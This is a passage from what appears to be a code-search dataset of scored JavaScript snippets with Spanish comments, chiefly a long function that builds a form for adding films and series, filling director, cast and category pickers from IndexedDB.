{\n id: contadorTareas,\n nombre: nombreTarea,\n completo: completoTarea,\n fecha: fechaTarea,\n };\n\n // Agrega el objeto en el array.\n tareas.push(nuevaTarea);\n\n // Incrementa el contador de tareas.\n contadorTareas++;\n\n // Retorna la nueva tarea que se añadió a la lista.\n return nuevaTarea;\n}", "title": "" }, { "docid": "786c4b0f93f0d5faf991b7a71f648233", "score": "0.48905268", "text": "function desbloquearCamposHU(){\n\t\tif(tieneRol(\"cliente\")){//nombre, identificador, prioridad, descripcion y observaciones puede modificar, el boton crear esta activo para el\n\t\t\n\t\t}\n\t\tif(tieneRol(\"programadror\")){// modificar:estimacion de tiempo y unidad dependencia responsables, todos los botones botones \n\t\t\n\t\t}\n\t}", "title": "" }, { "docid": "53b2774b39f96efc1cb076f08f652f27", "score": "0.48888004", "text": "function formProducciones(tipo){\n\t//Selecciona la zona debajo del menu horizontal de edicion y la oculta\n\tvar contenidoCentral = document.getElementById(\"contenidoCentral\");\n\tcontenidoCentral.setAttribute(\"class\",\"d-none\");\n\t//Selecciona la zona para poner los formularios\n\tvar contenidoFormularios = document.getElementById(\"contenidoFormularios\");\n\tcontenidoFormularios.setAttribute(\"class\",\"d-block\");\n\t//QUITA TODO EL CONTENIDO PREVIO POR SI HAY OTROS FORMULARIOS\n\twhile (contenidoFormularios.firstChild) {\n\t\tcontenidoFormularios.removeChild(contenidoFormularios.firstChild);\n\t}\n\t\t\n\tif (tipo == \"add\") {\n\t\tvar formulario = document.createElement(\"form\");\n\t\tformulario.setAttribute(\"name\",\"addProduction\");\n\t\tformulario.setAttribute(\"action\",\"\");\n\t\tformulario.setAttribute(\"onsubmit\",\"validarProducciones(); return false\");\n\t\tformulario.setAttribute(\"method\",\"post\");\n\t\tvar leyenda = document.createElement(\"legend\");\n\t\tleyenda.appendChild(document.createTextNode(\"Añadir produccion\"));\n\t\t//Se añade al contenido\n\t\tformulario.appendChild(leyenda);\n\t\tcontenidoFormularios.appendChild(formulario);\n\t\t//TITULO DE LA PRODUCCION\n\t\tvar grupo1 = document.createElement(\"div\");\n\t\tgrupo1.setAttribute(\"class\",\"form-group\");\n\t\tvar labelTitle = document.createElement(\"label\");\n\t\tlabelTitle.setAttribute(\"for\",\"titulo\");\n\t\tlabelTitle.appendChild(document.createTextNode(\"Titulo de la produccion*\"));\n\t\tvar inputTitle = document.createElement(\"input\");\n\t\tinputTitle.setAttribute(\"type\",\"text\");\n\t\tinputTitle.setAttribute(\"class\",\"form-control\");\n\t\tinputTitle.setAttribute(\"id\",\"titulo\");\n\t\tinputTitle.setAttribute(\"onblur\",\"validarCampoTexto(this)\");\n\t\tinputTitle.setAttribute(\"placeholder\",\"Titulo\");\n\t\tvar malTitle = document.createElement(\"small\");\n\t\tmalTitle.setAttribute(\"class\",\"form-text text-muted\");\n\t\tmalTitle.setAttribute(\"id\",\"titleMal\");\n\t\t//Se añade al formulario como hijos\n\t\tgrupo1.appendChild(labelTitle);\n\t\tgrupo1.appendChild(inputTitle);\n\t\tgrupo1.appendChild(malTitle);\n\t\tformulario.appendChild(grupo1);\n\t\t//FECHA DE LA PUBLICACION DE LA PRODUCCION\n\t\tvar grupo2 = document.createElement(\"div\");\n\t\tgrupo2.setAttribute(\"class\",\"form-group\");\n\t\tvar labelDate = document.createElement(\"label\");\n\t\tlabelDate.setAttribute(\"for\",\"publication\");\n\t\tlabelDate.appendChild(document.createTextNode(\"Fecha de publicacion*\"));\n\t\tvar inputDate = document.createElement(\"input\");\n\t\tinputDate.setAttribute(\"type\",\"text\");\n\t\tinputDate.setAttribute(\"class\",\"form-control\");\n\t\tinputDate.setAttribute(\"id\",\"publication\");\n\t\tinputDate.setAttribute(\"onblur\",\"validarCampoFecha(this)\");\n\t\tinputDate.setAttribute(\"placeholder\",\"DD/MM/AAAA\");\n\t\tvar malDate = document.createElement(\"small\");\n\t\tmalDate.setAttribute(\"class\",\"form-text text-muted\");\n\t\tmalDate.setAttribute(\"id\",\"dateMal\");\n\t\t//Se añade al formulario como hijos\n\t\tgrupo2.appendChild(labelDate);\n\t\tgrupo2.appendChild(inputDate);\n\t\tgrupo2.appendChild(malDate);\n\t\tformulario.appendChild(grupo2);\n\t\t//NACIONALIDAD DE LA PRODUCCION\n\t\tvar grupo3 = document.createElement(\"div\");\n\t\tgrupo3.setAttribute(\"class\",\"form-group\");\n\t\tvar labelNationality = document.createElement(\"label\");\n\t\tlabelNationality.setAttribute(\"for\",\"nationality\");\n\t\tlabelNationality.appendChild(document.createTextNode(\"Nacionalidad*\"));\n\t\tvar inputNationality = document.createElement(\"input\");\n\t\tinputNationality.setAttribute(\"type\",\"text\");\n\t\tinputNationality.setAttribute(\"class\",\"form-control\");\n\t\tinputNationality.setAttribute(\"onblur\",\"validarCampoTexto(this)\");\n\t\tinputNationality.setAttribute(\"id\",\"nationality\");\n\t\tinputNationality.setAttribute(\"placeholder\",\"Nacionalidad\");\n\t\tvar malNationality = document.createElement(\"small\");\n\t\tmalNationality.setAttribute(\"class\",\"form-text text-muted\");\n\t\tmalNationality.setAttribute(\"id\",\"nationalityMal\");\n\t\t//Se añade al formulario como hijos\n\t\tgrupo3.appendChild(labelNationality);\n\t\tgrupo3.appendChild(inputNationality);\n\t\tgrupo3.appendChild(malNationality);\n\t\tformulario.appendChild(grupo3);\n\t\t//SIPNOSIS DE LA PRODUCCION\n\t\tvar grupo4 = document.createElement(\"div\");\n\t\tgrupo4.setAttribute(\"class\",\"form-group\");\n\t\tvar labelSypnosis = document.createElement(\"label\");\n\t\tlabelSypnosis.setAttribute(\"for\",\"synopsis\");\n\t\tlabelSypnosis.appendChild(document.createTextNode(\"Sipnosis*\"));\n\t\tvar inputSypnosis = document.createElement(\"input\");\n\t\tinputSypnosis.setAttribute(\"type\",\"text\");\n\t\tinputSypnosis.setAttribute(\"class\",\"form-control\");\n\t\tinputSypnosis.setAttribute(\"onblur\",\"validarCampoTexto(this)\");\n\t\tinputSypnosis.setAttribute(\"id\",\"synopsis\");\n\t\tinputSypnosis.setAttribute(\"placeholder\",\"Sipnosis\");\n\t\tvar malSypnosis = document.createElement(\"small\");\n\t\tmalSypnosis.setAttribute(\"class\",\"form-text text-muted\");\n\t\tmalSypnosis.setAttribute(\"id\",\"synopsisMal\");\n\t\t//Se añade al formulario como hijos\n\t\tgrupo4.appendChild(labelSypnosis);\n\t\tgrupo4.appendChild(inputSypnosis);\n\t\tgrupo4.appendChild(malSypnosis);\n\t\tformulario.appendChild(grupo4);\n\t\t//IMAGEN DE LA PRODUCCION\n\t\tvar grupo5 = document.createElement(\"div\");\n\t\tgrupo5.setAttribute(\"class\",\"form-group\");\n\t\tvar labelPicture = document.createElement(\"label\");\n\t\tlabelPicture.setAttribute(\"for\",\"picture\");\n\t\tlabelPicture.appendChild(document.createTextNode(\"Ruta de la imagen*\"));\n\t\tvar inputPicture = document.createElement(\"input\");\n\t\tinputPicture.setAttribute(\"type\",\"text\");\n\t\tinputPicture.setAttribute(\"class\",\"form-control\");\n\t\tinputPicture.setAttribute(\"id\",\"picture\");\n\t\tinputPicture.setAttribute(\"onblur\",\"validarCampoRutaObligatorio(this)\");\n\t\tinputPicture.setAttribute(\"placeholder\",\"X://xxxxxx/xxxx\");\n\t\tvar malPicture = document.createElement(\"small\");\n\t\tmalPicture.setAttribute(\"class\",\"form-text text-muted\");\n\t\tmalPicture.setAttribute(\"id\",\"pictureMal\");\n\t\t//Se añade al formulario como hijos\n\t\tgrupo5.appendChild(labelPicture);\n\t\tgrupo5.appendChild(inputPicture);\n\t\tgrupo5.appendChild(malPicture);\n\t\tformulario.appendChild(grupo5);\n\t\t//SELECT PARA EL TIPO DE PRODUCCION\n\t\tvar grupo6 = document.createElement(\"div\");\n\t\tgrupo6.setAttribute(\"class\",\"form-group\");\n\t\tvar labelTipo = document.createElement(\"label\");\n\t\tlabelTipo.setAttribute(\"for\",\"tipo\");\n\t\tlabelTipo.appendChild(document.createTextNode(\"Tipo de produccion*\"));\n\t\tvar selectTipo = document.createElement(\"select\");\n\t\tselectTipo.setAttribute(\"class\",\"form-control\");\n\t\tselectTipo.setAttribute(\"name\",\"tipo\");\n\t\tselectTipo.setAttribute(\"id\",\"tipo\");\n\t\tselectTipo.setAttribute(\"onblur\",\"validarCampoSelect(this)\");\n\t\tselectTipo.setAttribute(\"onchange\",\"mostrarDIVS()\");\n\t\tvar optionNull = document.createElement(\"option\");\n\t\toptionNull.setAttribute(\"value\",\"0\");\n\t\toptionNull.appendChild(document.createTextNode(\"-- Selecciona tipo --\"));\n\t\tvar optionMovie = document.createElement(\"option\");\n\t\toptionMovie.setAttribute(\"value\",\"Movie\");\n\t\toptionMovie.appendChild(document.createTextNode(\"Pelicula\"));\n\t\tvar optionSerie = document.createElement(\"option\");\n\t\toptionSerie.setAttribute(\"value\",\"Serie\");\n\t\toptionSerie.appendChild(document.createTextNode(\"Serie\"));\n\t\tselectTipo.appendChild(optionNull);\n\t\tselectTipo.appendChild(optionMovie);\n\t\tselectTipo.appendChild(optionSerie);\n\t\t//Se añaden como hijos al formulario\n\t\tgrupo6.appendChild(labelTipo);\n\t\tgrupo6.appendChild(selectTipo);\n\t\tformulario.appendChild(grupo6);\n\t\t//DIV QUE APARECE SI EN EL SELECT SE PONE MOVIE\n\t\tvar divMovie = document.createElement(\"div\");\n\t\tdivMovie.setAttribute(\"class\",\"form-group\");\n\t\tdivMovie.setAttribute(\"id\",\"divMovie\");\n\t\t//RECURSO DE LA PRODUCCION MOVIE\n\t\tvar labelResource = document.createElement(\"label\");\n\t\tlabelResource.setAttribute(\"for\",\"recurso\");\n\t\tlabelResource.appendChild(document.createTextNode(\"Recurso de la produccion\"));\n\t\tvar selectResource = document.createElement(\"select\");\n\t\tselectResource.setAttribute(\"class\",\"form-control mb-2\");\n\t\tselectResource.setAttribute(\"id\",\"recurso\");\n\t\tvar optionResource = document.createElement(\"option\");\n\t\toptionResource.setAttribute(\"value\",\"0\");\n\t\toptionResource.appendChild(document.createTextNode(\"-- SIN RECURSO --\"));\n\t\tselectResource.appendChild(optionResource);\n\t\t//Abre la conexion con la base de datos\n\t\tvar request = indexedDB.open(nombreDB);\n\t\t//Si ha salido bien\n\t\trequest.onsuccess = function(event) {\n\t\t\t//Asigna el resultado a la variable db, que tiene la base de datos \n\t\t\tvar db = event.target.result; \n\t\t\tvar objectStore = db.transaction([\"recursos\"],\"readonly\").objectStore(\"recursos\");\n\t\t\t//Abre un cursor para recorrer todos los objetos de la base de datos \n\t\t\tobjectStore.openCursor().onsuccess = function(event) {\n\t\t\t\tvar recurso = event.target.result;\n\t\t\t\tif (recurso) {\n\t\t\t\t\toptionResource = document.createElement(\"option\");\n\t\t\t\t\toptionResource.setAttribute(\"value\",recurso.value.link);\n\t\t\t\t\toptionResource.appendChild(document.createTextNode(recurso.value.link));\n\t\t\t\t\tselectResource.appendChild(optionResource);\n\t\t\t\t\t//Pasa al siguiente recurso\n\t\t\t\t\trecurso.continue();\n\t\t\t\t}\n\t\t\t};\n\t\t};\t\n\t\tdivMovie.appendChild(labelResource);\n\t\tdivMovie.appendChild(selectResource);\n\t\t//LONGITUD DE LA PRODUCCION MOVIE\n\t\tvar labelCoor = document.createElement(\"label\");\n\t\tlabelCoor.setAttribute(\"for\",\"titulo\");\n\t\tlabelCoor.appendChild(document.createTextNode(\"Coordenadas de la produccion\"));\n\t\tvar inputCoor1 = document.createElement(\"input\");\n\t\tinputCoor1.setAttribute(\"type\",\"text\");\n\t\tinputCoor1.setAttribute(\"class\",\"form-control\");\n\t\tinputCoor1.setAttribute(\"id\",\"longitud\");\n\t\tinputCoor1.setAttribute(\"onblur\",\"validarCampoNumeroOpcional(this)\");\n\t\tinputCoor1.setAttribute(\"placeholder\",\"Longitud\");\n\t\tvar malCoor1 = document.createElement(\"small\");\n\t\tmalCoor1.setAttribute(\"class\",\"form-text text-muted\");\n\t\tmalCoor1.setAttribute(\"id\",\"longitudMal\");\n\t\tvar inputCoor2 = document.createElement(\"input\");\n\t\tinputCoor2.setAttribute(\"type\",\"text\");\n\t\tinputCoor2.setAttribute(\"class\",\"form-control\");\n\t\tinputCoor2.setAttribute(\"id\",\"latitud\");\n\t\tinputCoor2.setAttribute(\"onblur\",\"validarCampoNumeroOpcional(this)\");\n\t\tinputCoor2.setAttribute(\"placeholder\",\"Latitud\");\n\t\tvar malCoor2 = document.createElement(\"small\");\n\t\tmalCoor2.setAttribute(\"class\",\"form-text text-muted\");\n\t\tmalCoor2.setAttribute(\"id\",\"latitudMal\");\n\t\tdivMovie.appendChild(labelCoor);\n\t\tdivMovie.appendChild(inputCoor1);\n\t\tdivMovie.appendChild(malCoor1);\n\t\tdivMovie.appendChild(inputCoor2);\n\t\tdivMovie.appendChild(malCoor2);\n\t\t//DIRECTOR DE LA PRODUCCION MOVIE\n\t\t//SE CREA EL BUSCADOR \n\t\tvar grupo6 = document.createElement(\"div\");\n\t\tgrupo6.setAttribute(\"class\",\"form-group mt-3\");\n\t\tvar label6 = document.createElement(\"label\");\n\t\tlabel6.setAttribute(\"for\",\"produccionesCat\");\n\t\tlabel6.appendChild(document.createTextNode(\"Asignar director a la nueva produccion*\"));\n\t\tvar divInputBtn = document.createElement(\"div\");\n\t\tdivInputBtn.setAttribute(\"class\",\"input-group\");\n\t\tvar divBtn = document.createElement(\"div\");\n\t\tdivBtn.setAttribute(\"class\",\"input-group-prepend\");\n\t\tvar botonRemoverD = document.createElement(\"button\");\n\t\tbotonRemoverD.setAttribute(\"type\",\"button\");\n\t\tbotonRemoverD.setAttribute(\"class\",\"btn btn-sm btn-outline-secondary\");\n\t\tbotonRemoverD.appendChild(document.createTextNode(\"Remover\"));\n\t\t//añade el evento al hacer click al boton de remover\n\t\tbotonRemoverD.addEventListener(\"click\",function(){\n\t\t\tvar input = document.forms[\"addProduction\"][\"director\"];\n\t\t\t\t//Quita el ultimo elemento del array\n\t\t\t\tarrayDir.pop();\n\t\t\t\tinput.value = arrayDir.toString();\n\t\t\t\t//muestra la tabla\n\t\t\t\tdocument.getElementById(\"divTabla\").style.display = \"block\";\n\n\t\t});\n\t\tvar inputDirector = document.createElement(\"input\");\n\t\tinputDirector.setAttribute(\"class\",\"form-control \");\n\t\tinputDirector.setAttribute(\"type\",\"text\");\n\t\tinputDirector.setAttribute(\"id\",\"director\");\n\t\tinputDirector.readOnly = true;\n\t\tvar malDirector = document.createElement(\"small\");\n\t\tmalDirector.setAttribute(\"class\",\"form-text text-muted\");\n\t\tmalDirector.setAttribute(\"id\",\"directorMal\");\n\t\tvar divTablaD = document.createElement(\"div\");\n\t\tdivTablaD.setAttribute(\"id\",\"divTabla\");\n\t\tvar buscadorD = document.createElement(\"input\");\n\t\tbuscadorD.setAttribute(\"class\",\"form-control my-3\");\n\t\tbuscadorD.setAttribute(\"type\",\"text\");\n\t\tbuscadorD.setAttribute(\"id\",\"buscador\");\n\t\tbuscadorD.setAttribute(\"placeholder\",\"Buscar...\");\n\t\t//SE CREA LA TABLA DE LOS DIRECTORES\n\t\tvar tablaD = document.createElement(\"table\");\n\t\ttablaD.setAttribute(\"class\",\"table table-bordered\");\n\t\ttablaD.setAttribute(\"name\",\"tablaDirector\");\n\t\ttablaD.setAttribute(\"id\",\"tablaDirector\");\n\t\tvar theadD = document.createElement(\"thead\");\n\t\tvar trD = document.createElement(\"tr\");\n\t\tvar thVacioD = document.createElement(\"th\");\n\t\tvar ocultarD = document.createElement(\"button\");\n\t\tocultarD.setAttribute(\"type\",\"button\");\n\t\tocultarD.setAttribute(\"class\",\"btn btn-secondary\");\n\t\tocultarD.appendChild(document.createTextNode(\"Mostrar/Ocultar\"));\n\t\tocultarD.addEventListener(\"click\", function(){\n\t\t\tvar cont = document.getElementById(\"tablaDirectores\");\n\t\t\tif(cont.style.display==\"table-row-group\"){\n\t\t\t\tcont.style.display = \"none\";\n\t\t\t}else{\n\t\t\t\tcont.style.display = \"table-row-group\";\n\t\t\t}\n\t\t});\n\t\tthVacioD.appendChild(ocultarD);\n\t\tvar thNombreD = document.createElement(\"th\");\n\t\tthNombreD.appendChild(document.createTextNode(\"Nombre completo\"));\n\t\tvar tbodyD = document.createElement(\"tbody\");\n\t\ttbodyD.setAttribute(\"id\",\"tablaDirectores\");\n\t\t//Abre la conexion con la base de datos\n\t\tvar request2 = indexedDB.open(nombreDB);\n\t\t//Si ha salido bien\n\t\trequest2.onsuccess = function(event) {\n\t\t\t//Asigna el resultado a la variable db, que tiene la base de datos \n\t\t\tvar db2 = event.target.result; \n\t\t\tvar objectStore2 = db2.transaction([\"directores\"],\"readonly\").objectStore(\"directores\");\n\t\t\t//Abre un cursor para recorrer todos los objetos de la base de datos \n\t\t\tobjectStore2.openCursor().onsuccess = function(event) {\n\t\t\t\tvar director = event.target.result;\n\t\t\t\tif (director) {\n\t\t\t\t\tvar trDirD = document.createElement(\"tr\");\n\t\t\t\t\tvar tdAddD = document.createElement(\"td\");\n\t\t\t\t\tvar addD = document.createElement(\"button\");\n\t\t\t\t\taddD.setAttribute(\"type\",\"button\");\n\t\t\t\t\taddD.setAttribute(\"class\",\"btn btn-danger\");\n\t\t\t\t\tif (director.value.lastName2 == null) {\n\t\t\t\t\t\tdirector.value.lastName2 = \" \";\n\t\t\t\t\t}\n\t\t\t\t\taddD.setAttribute(\"value\",director.value.name+\" \"+director.value.lastName1+\" \"+director.value.lastName2);\n\t\t\t\t\taddD.appendChild(document.createTextNode(\"Añadir\"));\n\t\t\t\t\tvar tdNombreD = document.createElement(\"td\");\n\t\t\t\t\ttdNombreD.appendChild(document.createTextNode(director.value.name+\" \"+director.value.lastName1+\" \"+director.value.lastName2));\n\t\t\t\t\ttdNombreD.setAttribute(\"class\",\"col-8\");\n\t\t\t\t\ttdAddD.appendChild(addD);\n\t\t\t\t\ttrDirD.appendChild(tdAddD);\n\t\t\t\t\ttrDirD.appendChild(tdNombreD);\n\t\t\t\t\ttbodyD.appendChild(trDirD);\n\t\t\t\t\t//Añade una funcion a cada boton de añadir\n\t\t\t\t\taddD.addEventListener(\"click\", function(){\n\t\t\t\t\t\tvar input = document.forms[\"addProduction\"][\"director\"];\n\t\t\t\t\t\t//Añade al array el nomnbre de boton\n\t\t\t\t\t\tarrayDir.push(this.value);\n\t\t\t\t\t\tinput.value = arrayDir.toString();\n\t\t\t\t\t\t//oculta la tabla\n\t\t\t\t\t\tdocument.getElementById(\"divTabla\").style.display = \"none\";\n\t\t\t\t\t});\n\t\t\t\t\t//Pasa al siguiente director\n\t\t\t\t\tdirector.continue();\n\t\t\t\t}\n\t\t\t};\n\t\t};\n\t\t//Añade los eventos de la tabla\n\t\t$(document).ready(function(){\n\t\t\t$(\"#buscador\").on(\"keyup\", function() {\n\t\t\t var value = $(this).val().toLowerCase();\n\t\t\t $(\"#tablaDirectores tr\").filter(function() {\n\t\t\t\t$(this).toggle($(this).text().toLowerCase().indexOf(value) > -1)\n\t\t\t });\n\t\t\t});\n\t\t});\n\t\tgrupo6.appendChild(label6);\n\t\tdivInputBtn.appendChild(divBtn);\n\t\tdivBtn.appendChild(botonRemoverD);\n\t\tdivInputBtn.appendChild(inputDirector);\n\t\tdivInputBtn.appendChild(malDirector);\n\t\tgrupo6.appendChild(divInputBtn);\n\t\tdivTablaD.appendChild(buscadorD);\n\t\tdivTablaD.appendChild(tablaD);\n\t\tgrupo6.appendChild(divTablaD);\n\t\ttablaD.appendChild(theadD);\n\t\ttablaD.appendChild(tbodyD);\n\t\ttheadD.appendChild(trD);\n\t\ttrD.appendChild(thVacioD);\n\t\ttrD.appendChild(thNombreD);\n\t\tdivMovie.appendChild(grupo6);\n\t\tformulario.appendChild(divMovie);\n\t\t//DIV QUE APARECE SI EN EL SELECT SE PONE SERIE\n\t\tvar divSerie = document.createElement(\"div\");\n\t\tdivSerie.setAttribute(\"class\",\"form-group\");\n\t\tdivSerie.setAttribute(\"id\",\"divSerie\");\n\t\t//TEMPORADA DE LA PRODUCCION SERIE\n\t\tvar labelSeason = document.createElement(\"label\");\n\t\tlabelSeason.setAttribute(\"for\",\"recurso\");\n\t\tlabelSeason.appendChild(document.createTextNode(\"Temporada de la produccion\"));\n\t\tvar selectSeason = document.createElement(\"select\");\n\t\tselectSeason.setAttribute(\"class\",\"form-control\");\n\t\tselectSeason.setAttribute(\"id\",\"temporada\");\n\t\tvar optionSeason = document.createElement(\"option\");\n\t\toptionSeason.setAttribute(\"value\",\"0\");\n\t\toptionSeason.appendChild(document.createTextNode(\"-- SIN TEMPORADA --\"));\n\t\tselectSeason.appendChild(optionSeason);\t\n\t\tfor (let index = 0; index < arraySeason.length; index++) {\n\t\t\toptionSeason = document.createElement(\"option\");\n\t\t\toptionSeason.setAttribute(\"value\",arraySeason[index].title);\n\t\t\toptionSeason.appendChild(document.createTextNode(arraySeason[index].title));\n\t\t\tselectSeason.appendChild(optionSeason);\t\n\t\t}//Fin del for\t\n\t\t//Se añaden como hijos al formulario\n\t\tdivSerie.appendChild(labelSeason);\n\t\tdivSerie.appendChild(selectSeason);\n\t\tformulario.appendChild(divSerie);\n\t\t//REPARTO DE LA PRODUCCION\n\t\t//SE CREA EL BUSCADOR \n\t\tvar grupo7 = document.createElement(\"div\");\n\t\tgrupo7.setAttribute(\"class\",\"form-group\");\n\t\tvar label7 = document.createElement(\"label\");\n\t\tlabel7.setAttribute(\"for\",\"reparto\");\n\t\tlabel7.appendChild(document.createTextNode(\"Reparto de la produccion\"));\n\t\t//Div vacio en el que se añaden los actores en los que se pulsa\n\t\tvar divReparto = document.createElement(\"div\");\n\t\tdivReparto.setAttribute(\"class\",\"form-group\");\n\t\tdivReparto.setAttribute(\"id\",\"divReparto\");\n\t\tvar buscadorReparto = document.createElement(\"input\");\n\t\tbuscadorReparto.setAttribute(\"class\",\"form-control my-3\");\n\t\tbuscadorReparto.setAttribute(\"type\",\"text\");\n\t\tbuscadorReparto.setAttribute(\"id\",\"buscadorReparto\");\n\t\tbuscadorReparto.setAttribute(\"placeholder\",\"Buscar...\");\n\t\t//SE CREA LA TABLA DE LOS ACTORES\n\t\tvar tablaR = document.createElement(\"table\");\n\t\ttablaR.setAttribute(\"class\",\"table table-bordered\");\n\t\ttablaR.setAttribute(\"name\",\"reparto\");\n\t\ttablaR.setAttribute(\"id\",\"reparto\");\n\t\tvar theadR = document.createElement(\"thead\");\n\t\tvar trR = document.createElement(\"tr\");\n\t\tvar thVacioR = document.createElement(\"th\");\n\t\tvar ocultarR = document.createElement(\"button\");\n\t\tocultarR.setAttribute(\"type\",\"button\");\n\t\tocultarR.setAttribute(\"class\",\"btn btn-secondary\");\n\t\tocultarR.appendChild(document.createTextNode(\"Mostrar/Ocultar\"));\n\t\tocultarR.addEventListener(\"click\", function(){\n\t\t\tvar cont = document.getElementById(\"tablaReparto\");\n\t\t\tif(cont.style.display==\"table-row-group\"){\n\t\t\t\tcont.style.display = \"none\";\n\t\t\t}else{\n\t\t\t\tcont.style.display = \"table-row-group\";\n\t\t\t}\n\t\t});\n\t\tthVacioR.appendChild(ocultarR);\n\t\tvar thNombreR = document.createElement(\"th\");\n\t\tthNombreR.appendChild(document.createTextNode(\"Nombre\"));\n\t\tvar tbodyR = document.createElement(\"tbody\");\n\t\ttbodyR.setAttribute(\"id\",\"tablaReparto\");\n\t\t//Contador para llevar la cuenta de los divs creados\n\t\tvar contador = 0;\n\t\t//Abre la conexion con la base de datos\n\t\tvar request3 = indexedDB.open(nombreDB);\n\t\t//Si ha salido bien\n\t\trequest3.onsuccess = function(event) {\n\t\t\t//Asigna el resultado a la variable db, que tiene la base de datos \n\t\t\tvar db3 = event.target.result; \n\t\t\tvar objectStore3 = db3.transaction([\"actores\"],\"readonly\").objectStore(\"actores\");\n\t\t\t//Abre un cursor para recorrer todos los objetos de la base de datos \n\t\t\tobjectStore3.openCursor().onsuccess = function(event) {\n\t\t\t\tvar actor = event.target.result;\n\t\t\t\tif (actor) {\n\t\t\t\t\tvar trCatR = document.createElement(\"tr\");\n\t\t\t\t\tvar tdAddR = document.createElement(\"td\");\n\t\t\t\t\tvar addR = document.createElement(\"button\");\n\t\t\t\t\taddR.setAttribute(\"type\",\"button\");\n\t\t\t\t\taddR.setAttribute(\"class\",\"btn btn-danger\");\n\t\t\t\t\tif (actor.value.lastName2 == null) {\n\t\t\t\t\t\tactor.value.lastName2 = \" \";\n\t\t\t\t\t}\n\t\t\t\t\taddR.setAttribute(\"value\",actor.value.name+\" \"+actor.value.lastName1+\" \"+actor.value.lastName2);\n\t\t\t\t\taddR.appendChild(document.createTextNode(\"Añadir\"));\n\t\t\t\t\tvar tdActorR = document.createElement(\"td\");\n\t\t\t\t\ttdActorR.appendChild(document.createTextNode(actor.value.name+\" \"+actor.value.lastName1+\" \"+actor.value.lastName2));\n\t\t\t\t\ttdActorR.setAttribute(\"class\",\"col-8\");\n\t\t\t\t\ttdAddR.appendChild(addR);\n\t\t\t\t\ttrCatR.appendChild(tdAddR);\n\t\t\t\t\ttrCatR.appendChild(tdActorR);\n\t\t\t\t\ttbodyR.appendChild(trCatR);\n\t\t\t\t\t//Añade una funcion a cada boton de añadir\n\t\t\t\t\taddR.addEventListener(\"click\", function(){\n\t\t\t\t\t\t//Añade al array el nombre de boton\n\t\t\t\t\t\tarrayReparto.push(this.value);\n\t\t\t\t\t\t//llama a la funcion de añadir divActor\n\t\t\t\t\t\taddReparto(this.value,contador);\n\t\t\t\t\t\tcontador++;\n\t\t\t\t\t});\n\n\t\t\t\t\t//Pasa al siguiente actor\n\t\t\t\t\tactor.continue();\n\t\t\t\t}\n\t\t\t};\n\t\t};\n\t\t//Añade eventos al hacer click sobre los botones del formulario creado\n\t\t$(document).ready(function(){\n\t\t\t$(\"#buscadorReparto\").on(\"keyup\", function() {\n\t\t\tvar value = $(this).val().toLowerCase();\n\t\t\t$(\"#tablaReparto tr\").filter(function() {\n\t\t\t\t$(this).toggle($(this).text().toLowerCase().indexOf(value) > -1)\n\t\t\t});\n\t\t\t});\n\t\t});\n\t\tgrupo7.appendChild(label7);\n\t\tgrupo7.appendChild(divReparto);\n\t\tgrupo7.appendChild(buscadorReparto);\n\t\tgrupo7.appendChild(tablaR);\n\t\ttablaR.appendChild(theadR);\n\t\ttablaR.appendChild(tbodyR);\n\t\ttheadR.appendChild(trR);\n\t\ttrR.appendChild(thVacioR);\n\t\ttrR.appendChild(thNombreR);\n\t\tformulario.appendChild(grupo7);\n\t\t//CATEGORIAS DE LA PRODUCCION\n\t\t//SE CREA EL BUSCADOR \n\t\tvar grupo8 = document.createElement(\"div\");\n\t\tgrupo8.setAttribute(\"class\",\"form-group\");\n\t\tvar label8 = document.createElement(\"label\");\n\t\tlabel8.setAttribute(\"for\",\"categorias\");\n\t\tlabel8.appendChild(document.createTextNode(\"Asignar categorias a la produccion\"));\n\t\tvar divInputBtn = document.createElement(\"div\");\n\t\tdivInputBtn.setAttribute(\"class\",\"input-group\");\n\t\tvar divBtn = document.createElement(\"div\");\n\t\tdivBtn.setAttribute(\"class\",\"input-group-prepend\");\n\t\tvar botonRemoverC = document.createElement(\"button\");\n\t\tbotonRemoverC.setAttribute(\"type\",\"button\");\n\t\tbotonRemoverC.setAttribute(\"class\",\"btn btn-sm btn-outline-secondary\");\n\t\tbotonRemoverC.appendChild(document.createTextNode(\"Remover\"));\n\t\t//añade el evento al hacer click al boton de remover\n\t\tbotonRemoverC.addEventListener(\"click\",function(){\n\t\t\tvar input = document.forms[\"addProduction\"][\"categorias\"];\n\t\t\t\t//Quita el ultimo elemento del array\n\t\t\t\tarrayCategorias.pop();\n\t\t\t\tinput.value = arrayCategorias.toString();\n\n\t\t});\n\t\tvar cat = document.createElement(\"input\");\n\t\tcat.setAttribute(\"class\",\"form-control \");\n\t\tcat.setAttribute(\"type\",\"text\");\n\t\tcat.setAttribute(\"id\",\"categorias\");\n\t\tcat.readOnly = true;\n\t\tvar malCat = document.createElement(\"small\");\n\t\tmalCat.setAttribute(\"class\",\"form-text text-muted\");\n\t\tmalCat.setAttribute(\"id\",\"catMal\");\n\t\tvar buscadorC = document.createElement(\"input\");\n\t\tbuscadorC.setAttribute(\"class\",\"form-control my-3\");\n\t\tbuscadorC.setAttribute(\"type\",\"text\");\n\t\tbuscadorC.setAttribute(\"id\",\"buscadorCategorias\");\n\t\tbuscadorC.setAttribute(\"placeholder\",\"Buscar...\");\n\t\t//SE CREA LA TABLA DE LAS CATEGORIAS\n\t\tvar tablaC = document.createElement(\"table\");\n\t\ttablaC.setAttribute(\"class\",\"table table-bordered\");\n\t\ttablaC.setAttribute(\"name\",\"categoria\");\n\t\ttablaC.setAttribute(\"id\",\"categoria\");\n\t\tvar theadC = document.createElement(\"thead\");\n\t\tvar trC = document.createElement(\"tr\");\n\t\tvar thVacioC = document.createElement(\"th\");\n\t\tvar ocultarC = document.createElement(\"button\");\n\t\tocultarC.setAttribute(\"type\",\"button\");\n\t\tocultarC.setAttribute(\"class\",\"btn btn-secondary\");\n\t\tocultarC.appendChild(document.createTextNode(\"Mostrar/Ocultar\"));\n\t\tocultarC.addEventListener(\"click\", function(){\n\t\t\tvar cont = document.getElementById(\"tablaCategorias\");\n\t\t\tif(cont.style.display==\"table-row-group\"){\n\t\t\t\tcont.style.display = \"none\";\n\t\t\t}else{\n\t\t\t\tcont.style.display = \"table-row-group\";\n\t\t\t}\n\t\t});\n\t\tthVacioC.appendChild(ocultarC);\n\t\tvar thNombreC = document.createElement(\"th\");\n\t\tthNombreC.appendChild(document.createTextNode(\"Nombre\"));\n\t\tvar tbodyC = document.createElement(\"tbody\");\n\t\ttbodyC.setAttribute(\"id\",\"tablaCategorias\");\n\t\t//Abre la conexion con la base de datos\n\t\tvar request4 = indexedDB.open(nombreDB);\n\t\t//Si ha salido 